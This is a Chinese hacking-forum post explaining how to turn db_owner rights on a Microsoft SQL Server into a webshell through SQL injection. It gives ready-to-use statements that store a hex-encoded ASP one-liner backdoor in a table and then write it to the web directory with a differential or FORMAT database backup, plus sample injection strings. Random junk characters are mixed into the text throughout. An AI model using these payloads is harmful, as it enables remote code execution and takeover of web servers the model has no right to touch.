找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:- J3 Z  s6 ?8 x' x, h
1 W% P% D, m, I: G1 i$ U
减少备份文件大小,得到可执行的webshell成功率提高不少
+ m: D9 H% O4 {6 c1 I一利用差异备份
8 u  Q4 t# S. T1 i加一个参数WITH DIFFERENTIAL1 z: a; j' I' U8 m( Y

. n* ?' a) f" n4 M% n$ i6 U1
. |6 W; j6 E9 q* ?: [! D27 O+ g4 }3 T' Z
3, d; W; ^6 y0 G$ s; P2 V
4
! C* ]9 Z' u- @* U  R0 F declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s! o: j' B& f& V; l8 T; J9 O
create table [dbo].[xiaolu] ([cmd] [image]);- C# ]2 M8 m$ t- S, D7 Y/ k
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)! c. H; k4 y4 z% J2 I( S" `
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
3 R. n! B$ o1 H- \& }$ c+ i$ O+ y+ T+ K
二利用完全FORMAT
- c: W* Y0 R. n  L% f$ a1 u; h4 m加一个参数WITH FROMAT: Y7 e3 r: \8 D! i5 I) i
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以7 y9 @- m5 K( `- Z1 u

# L- ]5 T2 E0 n6 v4 [, L1 k1
4 q  s( {$ O6 ~; U$ t5 s2; Y9 Q. ]; c1 \! i) A4 C( ]1 G: K
3  D% N3 g* _3 ~* R9 P3 Z3 \) J
4
+ ?: e! n' u. G; y9 @ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s) m! A( `" b& @
create table [dbo].[xiaolu] ([cmd] [image]);
/ b+ e+ z6 m0 |5 e6 U" Einsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)) l9 }3 O9 |3 Y5 H$ r/ x
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT ! l1 X+ l6 O/ v

6 r0 W. M) x$ P. q总的来说就是那么简单几句,下面以备份数据库model为例子! Y, |6 ]& e! p4 d/ I
1* q3 C) W5 n+ S0 }, W
: n/ M3 V/ k- o" ]5 e' O
1
0 |8 J8 w( p# o( `+ `% O: o id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
1 ]( k' c  h7 m2 j! i7 L. A+ r* }9 `% G* ]! U' n
2
8 g  _1 }% X3 |1 }% ~$ j+ N- v7 e; o# {, N8 ~
19 c- w9 N1 K' ~8 @. B" O2 R
id=1;backup database model to disk='你的路径‘ with differential,format;--
" m' F5 ]  W0 u7 `& U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表